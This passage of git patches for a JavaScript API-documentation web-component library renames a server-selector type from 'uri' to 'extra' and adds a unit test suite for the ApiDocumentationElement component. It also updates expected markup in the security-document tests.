@@ -680,14 +681,14 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ServerCountChangeEvent} e
    */
   [serversCountHandler](e) {
     this.serversCount = e.detail.value;
   }
 
   /**
-   * @param {CustomEvent} e
+   * @param {ServerChangeEvent} e
    */
   [serverChangeHandler](e) {
     this.serverValue = e.detail.value;
@@ -708,11 +709,12 @@ export default class ApiDocumentationElement extends ApiDocumentationBase {
       return '';
     }
     const { amf, anypoint, serverType, serverValue, allowCustomBaseUri, renderSelector, domainId, domainType } = this;
+    const id = domainType === 'operation' ? this.operationId : domainId;
     return html`
       <api-server-selector
         class="server-selector"
         .amf="${amf}"
-        .selectedShape="${domainId}"
+        .selectedShape="${id}"
         .selectedShapeType="${domainType}"
         .value="${serverValue}"
         .type="${serverType}"
diff --git a/src/elements/ApiServerSelectorElement.d.ts b/src/elements/ApiServerSelectorElement.d.ts
index d8d1b1c..333ba1c 100644
--- a/src/elements/ApiServerSelectorElement.d.ts
+++ b/src/elements/ApiServerSelectorElement.d.ts
@@ -84,7 +84,7 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
 
   /**
    * Currently selected type of the input.
-   * `server` | `uri` | `custom`
+   * `server` | `extra` | `custom`
    * @attribute
    */
   type: ServerType;
diff --git a/src/elements/ApiServerSelectorElement.js b/src/elements/ApiServerSelectorElement.js
index 159f13f..56e0a5c 100644
--- a/src/elements/ApiServerSelectorElement.js
+++ b/src/elements/ApiServerSelectorElement.js
@@ -97,7 +97,7 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
 
       /**
        * Currently selected type of the input.
-       * `server` | `uri` | `custom`
+       * `server` | `extra` | `custom`
        */
       type: { type: String },
 
@@ -498,7 +498,7 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     } else {
       const [extra] = this[getExtraServers]();
       if (extra && this.amf) {
-        this.type = 'uri';
+        this.type = 'extra';
         this.value = extra.getAttribute('data-value') || extra.getAttribute('value');
       }
     }
@@ -538,7 +538,7 @@ export default class ApiServerSelectorElement extends AmfHelperMixin(LitElement)
     const custom = this[customItems] || [];
     const isSlotted = custom.indexOf(itemValue) !== -1;
     if (isSlotted) {
-      result.type = 'uri';
+      result.type = 'extra';
     } else {
       result.type = 'server';
     }
diff --git a/src/events/NavigationEvents.d.ts b/src/events/NavigationEvents.d.ts
index b71be78..583e572 100644
--- a/src/events/NavigationEvents.d.ts
+++ b/src/events/NavigationEvents.d.ts
@@ -38,7 +38,7 @@ export declare interface INavigationEvents {
    * @param parentId Optional, the parent object domain id (for an operation it is an endpoint)
    * @param passive Whether the selection came from the system processing rather than user interaction.
    */
-  apiNavigate(target: EventTarget, domainId: string, domainType: SelectionType, parentId?: string, passive?: boolean): Promise<void>;
+  apiNavigate(target: EventTarget, domainId: string, domainType: SelectionType, parentId?: string, passive?: boolean): void;
 }
 
 export declare const NavigationEvents: Readonly<INavigationEvents>;
diff --git a/src/events/NavigationEvents.js b/src/events/NavigationEvents.js
index 3d5d13c..cfa9834 100644
--- a/src/events/NavigationEvents.js
+++ b/src/events/NavigationEvents.js
@@ -32,7 +32,7 @@ export const NavigationEvents = {
    * @param {string=} parentId Optional, the parent object domain id (for an operation it is an endpoint)
    * @param {boolean=} passive Whether the selection came from the system processing rather than user interaction.
    */
-  apiNavigate: async (target, domainId, domainType, parentId, passive) => {
+  apiNavigate: (target, domainId, domainType, parentId, passive) => {
     const e = new ApiNavigationEvent(domainId, domainType, parentId, passive);
     target.dispatchEvent(e);
   },
diff --git a/test/elements/ApiDocumentationElement.test.js b/test/elements/ApiDocumentationElement.test.js
new file mode 100644
index 0000000..db39ae9
--- /dev/null
+++ b/test/elements/ApiDocumentationElement.test.js
@@ -0,0 +1,618 @@
+import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
+import { ServerEvents } from '../../src/events/ServerEvents.js';
+import { AmfLoader } from '../AmfLoader.js';
+import { loadMonaco } from '../MonacoSetup.js';
+import { renderedModelValue } from '../../src/elements/ApiDocumentationElement.js';
+import { NavigationEvents } from '../../src/events/NavigationEvents.js';
+import '../../api-documentation.js';
+
+/** @typedef {import('../../').ApiDocumentationElement} ApiDocumentationElement */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Response} Response */
+/** @typedef {import('../../src/types').SelectionType} SelectionType */
+
+
+describe('ApiDocumentationElement', () => {
+  const loader = new AmfLoader();
+
+  before(async () => loadMonaco());
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @param {SelectionType=} domainType
+   * @returns {Promise<ApiDocumentationElement>}
+   */
+  async function basicFixture(amf, domainId, domainType) {
+    const element = await fixture(html`<api-documentation 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainId="${domainId}"
+      .domainType="${domainType}"
+    ></api-documentation>`);
+    await aTimeout(0);
+    return /** @type ApiDocumentationElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @param {string=} operationId
+   * @returns {Promise<ApiDocumentationElement>}
+   */
+  async function operationFixture(amf, domainId, operationId) {
+    const element = await fixture(html`<api-documentation 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      domainType="operation"
+      .domainId="${domainId}"
+      .operationId="${operationId}"
+    ></api-documentation>`);
+    await aTimeout(0);
+    return /** @type ApiDocumentationElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @param {SelectionType=} domainType
+   * @returns {Promise<ApiDocumentationElement>}
+   */
+  async function tryitPanelFixture(amf, domainId, domainType) {
+    const element = await fixture(html`<api-documentation 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainId="${domainId}"
+      .domainType="${domainType}"
+      tryItPanel
+    ></api-documentation>`);
+    await aTimeout(0);
+    return /** @type ApiDocumentationElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @param {string=} operationId
+   * @returns {Promise<ApiDocumentationElement>}
+   */
+  async function customServersFixture(amf, domainId, operationId) {
+    const element = await fixture(html`<api-documentation 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainId="${domainId}"
+      .operationId="${operationId}"
+      domainType="operation"
+    >
+      <anypoint-item slot="custom-base-uri" data-value="http://customServer.com">
+        Server 1 - http://customServer.com
+      </anypoint-item>
+      <anypoint-item slot="custom-base-uri" data-value="http://customServer.com/{version}">
+        Server 2 - http://customServer.com/{version}
+      </anypoint-item>
+    </api-documentation>`);
+    await aTimeout(0);
+    return /** @type ApiDocumentationElement */ (element);
+  }
+
+  /**
+   * @param {AmfDocument} amf
+   * @param {string=} domainId
+   * @param {SelectionType=} domainType
+   * @returns {Promise<ApiDocumentationElement>}
+   */
+  async function navigationFixture(amf, domainId, domainType) {
+    const element = await fixture(html`<api-documentation 
+      .queryDebouncerTimeout="${0}" 
+      .amf="${amf}" 
+      .domainId="${domainId}"
+      .domainType="${domainType}"
+      handleNavigationEvents
+    ></api-documentation>`);
+    await aTimeout(0);
+    return /** @type ApiDocumentationElement */ (element);
+  }
+
+  [false].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let demoModel;
+      /** @type AmfDocument */
+      let multiServerModel;
+      /** @type AmfDocument */
+      let libraryFragmentModel;
+      /** @type AmfDocument */
+      let securityFragmentModel;
+      /** @type AmfDocument */
+      let documentationFragmentModel;
+      /** @type AmfDocument */
+      let typeFragmentModel;
+      before(async () => {
+        demoModel = await loader.getGraph(compact, 'demo-api');
+        multiServerModel = await loader.getGraph(compact, 'multi-server');
+        libraryFragmentModel = await loader.getGraph(compact, 'lib-fragment');
+        securityFragmentModel = await loader.getGraph(compact, 'oauth2-fragment');
+        documentationFragmentModel = await loader.getGraph(compact, 'documentation-fragment');
+        typeFragmentModel = await loader.getGraph(compact, 'type-fragment');
+      });
+
+      describe('components rendering', () => {
+        it('renders the api-summary element', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          const node = element.shadowRoot.querySelector('api-summary');
+          assert.ok(node);
+        });
+
+        it('renders the api-resource-document element', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people')
+          const element = await basicFixture(demoModel, endpoint.id, 'resource');
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.ok(node);
+        });
+
+        it('renders the api-resource-document element for an operation', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const element = await operationFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.ok(node);
+        });
+
+        it('renders the api-schema-document element', async () => {
+          const shape = loader.getShape(demoModel, 'ErrorResource');
+          const element = await basicFixture(demoModel, shape.id, 'schema');
+          const node = element.shadowRoot.querySelector('api-schema-document');
+          assert.ok(node);
+        });
+
+        it('renders the api-security-document element', async () => {
+          const security = loader.getSecurity(demoModel, 'digest');
+          const element = await basicFixture(demoModel, security.id, 'security');
+          const node = element.shadowRoot.querySelector('api-security-document');
+          assert.ok(node);
+        });
+
+        it('renders the api-documentation-document element', async () => {
+          const doc = loader.getDocumentation(demoModel, 'Test doc');
+          const element = await basicFixture(demoModel, doc.id, 'documentation');
+          const node = element.shadowRoot.querySelector('api-documentation-document');
+          assert.ok(node);
+        });
+
+        it('renders the try it panel', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people')
+          const element = await tryitPanelFixture(demoModel, endpoint.id, 'resource');
+          await aTimeout(1);
+          
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.isTrue(node.tryItPanel, 'sets the tryItPanel');
+
+          const editor = node.shadowRoot.querySelector('api-request');
+          assert.ok(editor, 'renders the editor');
+        });
+      });
+
+      describe('changing the selection', () => {
+        it('changes to a resource', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          const endpoint = loader.getEndpoint(demoModel, '/people')
+          element.domainId = endpoint.id;
+          element.domainType = 'resource';
+          await aTimeout(1);
+          const summary = element.shadowRoot.querySelector('api-summary');
+          assert.notOk(summary, 'the previous selection is not rendered');
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.ok(node, 'renders the resource');
+        });
+
+        it('changes to an operation', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          const endpoint = loader.getEndpoint(demoModel, '/people')
+          element.domainId = endpoint.id;
+          element.operationId = endpoint.operations[0].id;
+          element.domainType = 'operation';
+          await aTimeout(1);
+          const summary = element.shadowRoot.querySelector('api-summary');
+          assert.notOk(summary, 'the previous selection is not rendered');
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.ok(node, 'renders the resource');
+        });
+
+        it('changes to a schema', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          const shape = loader.getShape(demoModel, 'ErrorResource');
+          element.domainId = shape.id;
+          element.domainType = 'schema';
+          await aTimeout(1);
+          const summary = element.shadowRoot.querySelector('api-summary');
+          assert.notOk(summary, 'the previous selection is not rendered');
+          const node = element.shadowRoot.querySelector('api-schema-document');
+          assert.ok(node, 'renders the schema');
+        });
+
+        it('changes to a document', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          const doc = loader.getDocumentation(demoModel, 'Test doc');
+          element.domainId = doc.id;
+          element.domainType = 'documentation';
+          await aTimeout(1);
+          const summary = element.shadowRoot.querySelector('api-summary');
+          assert.notOk(summary, 'the previous selection is not rendered');
+          const node = element.shadowRoot.querySelector('api-documentation-document');
+          assert.ok(node, 'renders the schema');
+        });
+
+        it('changes to a security', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          const security = loader.getSecurity(demoModel, 'digest');
+          element.domainId = security.id;
+          element.domainType = 'security';
+          await aTimeout(1);
+          const summary = element.shadowRoot.querySelector('api-summary');
+          assert.notOk(summary, 'the previous selection is not rendered');
+          const node = element.shadowRoot.querySelector('api-security-document');
+          assert.ok(node, 'renders the schema');
+        });
+      });
+
+      describe('property passing', () => {
+        it('passes all properties to the summary element', async () => {
+          const element = await basicFixture(demoModel, 'summary', 'summary');
+          element.baseUri = 'https://base.com/';
+          element.anypoint = true;
+          await nextFrame();
+          const summary = element.shadowRoot.querySelector('api-summary');
+          assert.typeOf(summary.amf, 'object', 'passes the amf');
+          assert.equal(summary.baseUri, element.baseUri, 'passes the baseUri');
+          assert.isTrue(summary.anypoint, 'passes the anypoint');
+        });
+
+        it('passes all properties to the security element', async () => {
+          const security = loader.getSecurity(demoModel, 'digest');
+          const element = await basicFixture(demoModel, security.id, 'security');
+          element.anypoint = true;
+          await nextFrame();
+          const node = element.shadowRoot.querySelector('api-security-document');
+          assert.typeOf(node.amf, 'object', 'passes the amf');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], security.id, 'passes the security domainModel');
+          assert.isTrue(node.anypoint, 'passes the anypoint');
+        });
+
+        it('passes all properties to the schema element', async () => {
+          const shape = loader.getShape(demoModel, 'Unionable');
+          const element = await basicFixture(demoModel, shape.id, 'schema');
+          element.anypoint = true;
+          await nextFrame();
+          const node = element.shadowRoot.querySelector('api-schema-document');
+          assert.typeOf(node.amf, 'object', 'passes the amf');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], shape.id, 'passes the schema domainModel');
+          assert.isTrue(node.anypoint, 'passes the anypoint');
+        });
+
+        it('passes all properties to the documentation element', async () => {
+          const doc = loader.getDocumentation(demoModel, 'Test doc');
+          const element = await basicFixture(demoModel, doc.id, 'documentation');
+          element.anypoint = true;
+          await nextFrame();
+          const node = element.shadowRoot.querySelector('api-documentation-document');
+          assert.typeOf(node.amf, 'object', 'passes the amf');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], doc.id, 'passes the schema domainModel');
+          assert.isTrue(node.anypoint, 'passes the anypoint');
+        });
+
+        it('passes properties to the resource element', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people')
+          const element = await basicFixture(demoModel, endpoint.id, 'resource');
+          element.anypoint = true;
+          element.redirectUri = 'https://rdr.api.com/';
+          element.baseUri = 'https://base.com/';
+          element.httpUrlEditor = true;
+          element.tryItButton = true;
+          await nextFrame();
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.typeOf(node.amf, 'object', 'passes the amf');
+          assert.equal(node.domainId, endpoint.id, 'passes the domainId');
+          assert.isUndefined(node.operationId, 'does not set the operationId');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], endpoint.id, 'passes the resource domainModel');
+          assert.isTrue(node.anypoint, 'passes the anypoint');
+          assert.equal(node.redirectUri, element.redirectUri, 'passes the redirectUri');
+          assert.equal(node.baseUri, element.baseUri, 'passes the baseUri');
+          assert.isTrue(node.httpUrlEditor, 'passes the httpUrlEditor');
+          assert.isTrue(node.httpNoServerSelector, 'sets the httpNoServerSelector');
+          assert.isTrue(node.tryItButton, 'sets the tryItButton');
+        });
+
+        it('passes properties to the resource element when an operation', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const [operation] = endpoint.operations;
+          const element = await operationFixture(demoModel, endpoint.id, operation.id);
+          await nextFrame();
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.equal(node.operationId, operation.id, 'sets the operationId');
+        });
+      });
+
+      describe('multi server API', () => {
+        it('has the selector in the DOM', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await operationFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.ok(selector, 'has the selector');
+          assert.isFalse(selector.hidden, 'the selector is not hidden');
+        });
+
+        it('does not render the selector when noServerSelector is set', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await operationFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+          element.noServerSelector = true;
+          await nextFrame();
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.notOk(selector, 'has no selector');
+        });
+
+        it('passes the data to the selector', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await basicFixture(multiServerModel, endpoint.id, 'resource');
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.typeOf(selector.amf, 'object', 'sets the amf property');
+          assert.equal(selector.selectedShape, endpoint.id, 'sets the selectedShape property');
+          assert.equal(selector.selectedShapeType, 'resource', 'sets the selectedShapeType property');
+        });
+
+        it('sets the serversCount property', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+
+          assert.equal(element.serversCount, 6, 'has all servers');
+        });
+
+        it('sets the serverValue and serverType properties with the first available server', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const element = await customServersFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+
+          assert.equal(element.serverValue, 'http://{instance}.domain.com/');
+          assert.equal(element.serverType, 'server');
+        });
+
+        it('passes the selected server information to the components', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const element = await customServersFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.equal(selector.value, 'http://{instance}.domain.com/');
+          assert.equal(selector.type, 'server');
+
+          const resource = element.shadowRoot.querySelector('api-resource-document');
+          assert.equal(resource.serverValue, 'http://{instance}.domain.com/');
+          assert.equal(resource.serverType, 'server');
+        });
+
+        it('does not change the baseUri property', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const element = await customServersFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          assert.isUndefined(element.baseUri);
+        });
+
+        it('hides the server selector when has less than 2 servers', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const element = await operationFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          assert.equal(element.serversCount, 1, 'has a single server');
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.isTrue(selector.hidden, 'the selector is hidden');
+        });
+
+        it('renders the server selector when has allowCustomBaseUri', async () => {
+          const endpoint = loader.getEndpoint(demoModel, '/people');
+          const element = await operationFixture(demoModel, endpoint.id, endpoint.operations[0].id);
+          element.allowCustomBaseUri = true;
+          await nextFrame();
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.isFalse(selector.hidden, 'the selector is not hidden');
+        });
+
+        it('selects an extra server from the server event', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          const url = 'http://customServer.com';
+          ServerEvents.serverChange(selector, url, 'extra');
+          await nextFrame();
+          
+          assert.equal(element.serverValue, 'http://customServer.com');
+          assert.equal(element.serverType, 'extra');
+        });
+
+        it('selects a custom server from the server event', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          const url = 'https://www.google.com';
+          ServerEvents.serverChange(selector, url, 'custom');
+          await nextFrame();
+          
+          assert.equal(element.serverValue, 'https://www.google.com');
+          assert.equal(element.serverType, 'custom');
+        });
+
+        it('hides the selector wien navigating to another graph type', async () => {
+          const endpoint = loader.getEndpoint(multiServerModel, '/default');
+          const element = await customServersFixture(multiServerModel, endpoint.id, endpoint.operations[0].id);
+
+          const shape = loader.getShape(multiServerModel, 'Pets');
+          element.domainId = shape.id;
+          element.domainType = 'schema';
+          await nextFrame();
+
+          const selector = element.shadowRoot.querySelector('api-server-selector');
+          assert.isTrue(selector.hidden);
+        });
+      });
+
+      describe('API library processing', () => {
+        it('renders a type from a library', async () => {
+          const type = loader.getShape(libraryFragmentModel, 'myType');
+          const element = await basicFixture(libraryFragmentModel, type.id, 'schema');
+          element.anypoint = true;
+          await nextFrame();
+
+          const node = element.shadowRoot.querySelector('api-schema-document');
+          assert.ok(node, 'schema is rendered');
+          assert.typeOf(node.amf, 'object', 'amf is set');
+          assert.typeOf(node.domainModel, 'object', 'schema model is set');
+          assert.isTrue(node.anypoint, 'anypoint is set');
+          // TODO: libraries do not have media type
+          // assert.isUndefined(node.mediaTypes, 'mediaTypes is not set');
+        });
+
+        it('renders a security from a library', async () => {
+          const security = loader.getSecurity(libraryFragmentModel, 'OAuth1');
+          const element = await basicFixture(libraryFragmentModel, security.id, 'security');
+          element.anypoint = true;
+          await nextFrame();
+
+          const node = element.shadowRoot.querySelector('api-security-document');
+          assert.ok(node, 'security is rendered');
+          assert.typeOf(node.amf, 'object', 'amf is set');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], security.id, 'passes the security domainModel');
+          assert.isTrue(node.anypoint, 'anypoint is set');
+        });
+      });
+
+      describe('Security fragment processing', () => {
+        it('renders a security from a fragment', async () => {
+          const element = await basicFixture(securityFragmentModel);
+          const security = loader.lookupEncodes(securityFragmentModel);
+          const node = /** @type any */ (element.shadowRoot.querySelector('api-security-document'));
+          assert.ok(node, 'security is rendered');
+          assert.typeOf(node.amf, 'object', 'amf is set');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], security['@id'], 'passes the security domainModel');
+        });
+      });
+
+      describe('Documentation fragment processing', () => {
+        it('renders a documentation from a fragment', async () => {
+          const element = await basicFixture(documentationFragmentModel);
+          const docs = loader.lookupEncodes(documentationFragmentModel);
+
+          const node = element.shadowRoot.querySelector('api-documentation-document');
+          assert.ok(node, 'the documentation is rendered');
+          assert.typeOf(node.amf, 'object', 'amf is set');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], docs['@id'], 'passes the documentation domainModel');
+        });
+      });
+
+      describe('Type fragment processing', () => {
+        it('renders a type from a fragment', async () => {
+          const element = await basicFixture(typeFragmentModel);
+          const schema = loader.lookupEncodes(typeFragmentModel);
+
+          const node = element.shadowRoot.querySelector('api-schema-document');
+          assert.typeOf(node.amf, 'object', 'the amf is set');
+          assert.typeOf(node.domainModel, 'object', 'passes the domainModel');
+          assert.equal(node.domainModel['@id'], schema['@id'], 'passes the documentation domainModel');
+        });
+      });
+
+      describe('APIC-711: Rendering of a library', () => {
+        /** @type ApiDocumentationElement */
+        let element;
+        /** @type AmfDocument */
+        let libraryAmf;
+
+        before(async () => {
+          libraryAmf = await loader.getGraph(compact, 'APIC-711');
+        });
+
+        it('should reset the state when switching to a library', async () => {
+          element = await basicFixture(demoModel, 'summary', 'summary');
+          const oldDocsModel = element[renderedModelValue];
+          element.amf = libraryAmf;
+          await aTimeout(1);
+          assert.notEqual(element[renderedModelValue], oldDocsModel);
+        });
+      });
+
+      describe('APIC-390: API library processing', () => {
+        /** @type AmfDocument */
+        let model;
+
+        beforeEach(async () => {
+          model = await loader.getGraph(compact, 'APIC-390');
+        });
+
+        it('renders SiteId type defined in library', async () => {
+          const shape = loader.getShape(model, 'SiteId');
+          const element = await basicFixture(model, shape.id, 'schema');
+          const node = element.shadowRoot.querySelector('api-schema-document');
+
+          assert.ok(node, 'the schema is rendered');
+          assert.typeOf(node.amf, 'object', 'amf is set');
+          assert.typeOf(node.domainModel, 'object', 'the domainModel is set');
+          assert.equal(node.domainModel['@id'], shape.id, 'schema model is set');
+        });
+
+        it('renders Language type defined in uses node in library', async () => {
+          const shape = loader.getShape(model, 'LocaleCode');
+          const element = await basicFixture(model, shape.id, 'schema');
+          const node = element.shadowRoot.querySelector('api-schema-document');
+
+          assert.ok(node, 'the schema is rendered');
+          assert.typeOf(node.amf, 'object', 'amf is set');
+          assert.typeOf(node.domainModel, 'object', 'the domainModel is set');
+          assert.equal(node.domainModel['@id'], shape.id, 'schema model is set');
+        });
+      });
+
+      describe('navigation events', () => {
+        it('changes selection when event occurs', async () => {
+          const element = await navigationFixture(demoModel);
+          assert.isTrue(element.handleNavigationEvents, 'getter returns the value');
+
+          const ep = loader.getEndpoint(demoModel, '/people');
+          NavigationEvents.apiNavigate(document.body, ep.id, 'operation', ep.operations[0].id);
+          await nextFrame();
+          
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.ok(node, 'the operation is rendered');
+        });
+    
+        it('ignores the passive navigation', async () => {
+          const element = await navigationFixture(demoModel);
+
+          const ep = loader.getEndpoint(demoModel, '/people');
+          NavigationEvents.apiNavigate(document.body, ep.id, 'operation', ep.operations[0].id, true);
+          await nextFrame();
+
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.notOk(node, 'the resource is not rendered');
+        });
+    
+        it('removes the listener when changing state', async () => {
+          const element = await navigationFixture(demoModel);
+          element.handleNavigationEvents = false;
+
+          const ep = loader.getEndpoint(demoModel, '/people');
+          NavigationEvents.apiNavigate(document.body, ep.id, 'operation', ep.operations[0].id);
+          await nextFrame();
+          
+          const node = element.shadowRoot.querySelector('api-resource-document');
+          assert.notOk(node, 'the resource is not rendered');
+        });
+      });
+    });
+  });
+});
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index 29e8838..fb61c07 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,7 +1,7 @@
 export default {
-  files: 'test/**/*.test.js',
+  // files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
-  // files: 'test/elements/ApiServerSelectorElement.test.js',
+  files: 'test/elements/ApiDocumentationElement.test.js',
   // files: [
   //   'test/elements/ApiSecurityRequirementDocumentElement.test.js',
   //   'test/elements/ApiOperationDocumentElement.test.js',

From da8c55dc7e786246f825c13220d7f8e8ac541ebb Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Wed, 13 Oct 2021 23:31:04 -0700
Subject: [PATCH 19/36] test: fixing tests after markup change

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .../ApiSecurityDocumentElement.test.js        | 28 +++++++++----------
 .../elements/ApiServerSelectorElement.test.js |  4 +--
 test/elements/ApiSummaryElement.test.js       | 26 ++++++++---------
 web-test-runner.config.mjs                    |  4 +--
 4 files changed, 31 insertions(+), 31 deletions(-)

diff --git a/test/elements/ApiSecurityDocumentElement.test.js b/test/elements/ApiSecurityDocumentElement.test.js
index 0759639..e62c7bd 100644
--- a/test/elements/ApiSecurityDocumentElement.test.js
+++ b/test/elements/ApiSecurityDocumentElement.test.js
@@ -71,13 +71,13 @@ describe('ApiSecurityDocumentElement', () => {
           it('renders the title', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .label');
-            assert.dom.equal(node, '<span class="label">basic</span>');
+            assert.dom.equal(node, '<span class="label text-selectable">basic</span>');
           });
 
           it('renders the sub-header', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
-            assert.dom.equal(node, '<p class="sub-header">Basic Authentication</p>');
+            assert.dom.equal(node, '<p class="sub-header text-selectable">Basic Authentication</p>');
           });
 
           it('renders the description', async () => {
@@ -141,13 +141,13 @@ describe('ApiSecurityDocumentElement', () => {
           it('renders the title', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .label');
-            assert.dom.equal(node, '<span class="label">x-custom</span>');
+            assert.dom.equal(node, '<span class="label text-selectable">x-custom</span>');
           });
 
           it('renders the sub-header', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
-            assert.dom.equal(node, '<p class="sub-header">x-custom</p>');
+            assert.dom.equal(node, '<p class="sub-header text-selectable">x-custom</p>');
           });
 
           it('renders the description', async () => {
@@ -226,13 +226,13 @@ describe('ApiSecurityDocumentElement', () => {
           it('renders the title', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .label');
-            assert.dom.equal(node, '<span class="label">digest</span>');
+            assert.dom.equal(node, '<span class="label text-selectable">digest</span>');
           });
 
           it('renders the sub-header', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
-            assert.dom.equal(node, '<p class="sub-header">Digest Authentication</p>');
+            assert.dom.equal(node, '<p class="sub-header text-selectable">Digest Authentication</p>');
           });
 
           it('renders the description', async () => {
@@ -295,13 +295,13 @@ describe('ApiSecurityDocumentElement', () => {
           it('renders the title', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .label');
-            assert.dom.equal(node, '<span class="label">pass_through</span>');
+            assert.dom.equal(node, '<span class="label text-selectable">pass_through</span>');
           });
 
           it('renders the sub-header', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
-            assert.dom.equal(node, '<p class="sub-header">Pass Through</p>');
+            assert.dom.equal(node, '<p class="sub-header text-selectable">Pass Through</p>');
           });
 
           it('renders the description', async () => {
@@ -372,13 +372,13 @@ describe('ApiSecurityDocumentElement', () => {
           it('renders the title', async () => {
             const element = await amfModelFixture(model, security);
             const node = element.shadowRoot.querySelector('.security-header .label');
-            assert.dom.equal(node, '<span class="label">oauth_1_0</span>');
+            assert.dom.equal(node, '<span class="label text-selectable">oauth_1_0</span>');
           });
 
           it('renders the sub-header', async () => {
             const element = await amfModelFixture(model, security);
